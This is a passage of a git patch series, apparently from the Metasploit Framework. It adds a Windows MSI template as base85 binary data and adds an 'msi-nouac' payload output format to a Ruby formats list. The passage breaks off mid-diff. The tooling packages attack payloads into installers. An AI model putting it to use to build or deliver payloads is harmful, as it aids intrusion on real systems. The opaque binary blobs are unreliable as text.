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 L011%5dI<av+Z;T; literal 0 HcmV?d00001 diff --git a/data/templates/template_windows.msi b/data/templates/template_windows.msi new file mode 100644 index 0000000000000000000000000000000000000000..02e48215ae3604f78039e3c87b27bb28cc407d9e GIT binary patch literal 159744 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 z011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!) z36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@ zkN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg z011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!) z36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@ zkN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg z011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!) z36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@ zkN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg z011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!) z36Q`ChJY7YGtPol3jEmde9N)!j;4b!wtQ#C{d^_xr}W+3)~w@&xgoFO9`in@ofS-4 zlX$j}YhodGBWtft?)kAh<%aumkGf&x1%BdLQ5<?GZ88Y0ITPcSbperWSpyZvKc(ZU zenV_-)bXdP&XhaqMX^*`c1zxjQ?Zamhg&1%s1+TUnQ_`8ch(7=7$tj?)=Ut(Ry^(a zR^Yq25!0@;r_z=QFSaHt&QxTD?ri8rt{>|rO0S$4?VYIVex3H>X%ysURnIw<sw-`A zozk=}W;Tet7`+u5XaY)_MtRY`WA5Ws*Dtx2E(3MUx~15P16|yVTlO3aotbh0AqdNE zXw6j7%Q$pOr>v4Q;rTB5ED>mb6g!nlao#PVRcX0N=<$&>;INcg@S;;A<)a~r4i~Ib z?m{ctrH4hTF1xWC&Y);3l94v`%DBYNM8yT~C{9b00k@*G4}NuK0!`FOL8F3%Mg&ZV zh?3Nvlj@I#!OUzdcUpiR)E%DlA`ewqu{$4IPARUULkrd{1Ve@l^fYAT$ywI;G|D^e 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 SAOR8}0TLhq5+H%q5cprg8#*um literal 0 HcmV?d00001 From 34c443f34626edea4297c594590c9ca86a43790e Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Fri, 27 Sep 2013 20:36:00 +0100 Subject: [PATCH 066/210] Forgot msi-nouac --- lib/msf/util/exe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index e89972d084..727984eeb2 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1730,7 +1730,7 @@ def self.to_vba(framework,code,opts={}) def self.to_executable_fmt_formats [ 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', - 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi' + 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac' ] end From 8aeb13458112643ba15677069da076d0f681c111 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Fri, 27 Sep 2013 20:40:16 +0100 Subject: [PATCH 067/210] Retab... --- lib/msf/util/exe.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 